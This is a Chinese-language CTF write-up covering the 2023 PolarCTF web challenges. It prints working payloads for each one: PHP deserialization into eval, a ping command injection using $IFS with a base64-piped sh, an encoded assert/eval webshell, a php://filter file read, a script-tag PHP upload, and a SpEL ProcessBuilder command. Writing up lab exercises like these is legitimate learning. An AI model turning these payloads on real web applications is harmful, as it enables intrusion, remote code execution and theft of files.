2023 PolarCTF-WP

前言:这次的PolarCTF比赛的难度算是对新手比较友好的,其中web题出了8道,有7道是能做出来的,最后一道ezjava因为没学过一点java的知识,所以在最后命令执行那一步卡死了。上次NepCTF也是因为不会java,可以说是死在java手上两次了T^T. 看来得尽快补一下java的知识了

I. ezupload

很普通很基础的一道传马题。先随便传个文件看看有什么限制。

得知只能传GIF文件,于是传个GIF图同时用Burpsuit抓包看看上传GIF时的包内容

Content-Type的内容是image/gif,于是尝试上传一句话木马文件,发现只用改Content-Type内容就可以了,题目没有对文件后缀、内容进行检查

上传成功后用蚁剑或菜刀连一下就可以找到flag了

II. php very nice

打开题目看代码,一道简单的反序列化题。Example类里有个eval()函数,会执行里面的参数sys,所以只要用需要执行的命令覆盖sys的值即可。可控变量为a。

<?php
 highlight_file(__FILE__);
 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){
         eval($this->sys);
     }
 }
 $s=new Example();
 $s->sys="system('ls');";
 echo serialize($s);
 ?>

执行程序得到序列化字符后拼接得到payload:?a=O:7:”Example”:1:{s:3:”sys”;s:13:”system(‘ls’);”;}

执行后看见flag.php,于是用cat命令查看

<?php
 highlight_file(__FILE__);
 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){
         eval($this->sys);
     }
 }
 $s=new Example();
 $s->sys="system('cat flag.php');";
 echo serialize($s);
 ?>

得到payload:?a=O:7:”Example”:1:{s:3:”sys”;s:23:”system(‘cat flag.php’);”;}

执行后查看页面源代码即可得到flag


III. 再来ping一波啊

进入题目有输入栏可以输入命令。本身输入栏是用来执行ping命令,但可以跟着传入其它命令实现任意命令执行,只不过对输入内容做了限制,ban了空格和大部分字符以及bash。其中空格用url编码%20表示即可,传入的命令可以用sh来执行。payload的模板如下:

ping%20127.0.0.1;echo$IFS$1[传入命令的base64编码]|base64$IFS$1-d|sh

命令cat index.php的base64编码为Y2F0IGluZGV4LnBocA==,用以上模板构造payload:

ping%20127.0.0.1;echo$IFS$1Y2F0IGluZGV4LnBocA==|base64$IFS$1-d|sh

输入后出现回显,查看页面源代码即可找到flag

IV. wu

打开题目可以看到可以传入一个命令进eval函数来执行,但有preg_match函数对传入的值进行正则匹配,A-Za-z0-9表示大小写字母和数字,一旦匹配到这些字符就会die,所以需要想办法绕过正则匹配。有很多方法,这里用的是url取反编码来进行绕过。

大致原理是通过把字符取反进行url编码后传入,此时preg_match不会匹配到正则表达式里的字符,然后url解码为原字符并执行。但直接传入命令不会被当作命令执行,所以需要用到assert()函数来让php把传入的字符作为命令来识别。

//原本要传入的命令
assert(eval($_POST[shell]));
//url取反编码后
(~%9E%8C%8C%9A%8D%8B)((~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6));
#(~%9E%8C%8C%9A%8D%8B) = assert
#((~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6))
= (eval($_POST[shell]))

用于生成url取反编码的代码:

<?php
 $a='assert';
 $b='(eval($_POST['shell']))';
 echo urlencode(~$a);
 echo "\n";
 echo urlencode(~$b);
?>

构造payload:

?a=(~%9E%8C%8C%9A%8D%8B)((~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6)); 

传入后再用蚁剑连上

打开即可得到flag

V. 代码审计1

看代码可知会通过GET方式得到变量sys和xsx的值,其中$sys($xsx)表示以xsx为参数传入进sys()函数。也就是说,sys是一个函数名,xsx是传入的一个参数。

此处要用SplFileObject函数来读取文件flag.php。 所以让sys=SplFileObject,xsx=flag.php。但由于有一个preg_match正则匹配ban掉了flag字符,所以可以用base64编码进行绕过。构造payload:

?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

得到的base64编码拿去解码即可得到flag

VI. robots

题目名字提示了要看robots.txt文件,所以直接访问/robots.txt可以得到一部分flag

提示了要找泄露的敏感信息,所以直接用dirsearch扫一下

扫到www.zip,直接访问/www.zip即可下载下来,打开可以找到剩下的一半flag

VII. 自由的文件上传系统

尝试上传文件,果然自由,没有对文件的后缀和类型作限制,不过会修改文件内容,把?替换成!,导致一句话木马失效

此处没有办法防止被修改,所以改用<script>来写文件。由于文件名会被修改,所以传木马文件也没有用,于是可以在文件里写命令,然后通过访问文件的方式来执行命令。

//查看根目录文件
<script language='php'>system('ls /');</script>

传入后访问文件即可执行命令“ls /”来查看根目录。但直接访问没法触发命令。这时发现页面里有个像小房子的home按钮

点一下发现进了一个sectet_include.php,其中?file=的出现说明存在任意文件读取的漏洞,通过file=读取文件可执行文件里的命令

可以看到flag文件,重新上传一个文件并用file访问

<script language='php'>system('cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd');</script>

VIII. ezjava

访问靶机,没思路。题目提示flag在/app/flag且给了附件(源码),是一个java文件,放进IDE里看看,可以找到一个叫spl的文件

大致意思是定义了一个spel类,并在其下定义了一个 /vul路由。其中设置了一个可控变量ex,可能可以用于传入命令。

尝试构造语句/SPEL/vul?ex=11-9

可以看见11-9被计算了,感觉可以算是SSTI漏洞,题意应该就是要利用这个漏洞来执行命令。但由于缺乏java的知识,比赛时不知道怎么执行cat flag,所以很无奈,在最后一步解不出来,这里附上官方的payload:

/SPEL/vul?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag*"}).start().getInputStream(), "gbk")).readLine()

似乎对传入的值有长度限制,所以官方的payload需要用hackbar来传入。回头得找段时间研究下java以及其他人的wp,看看有没有其它解法

欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next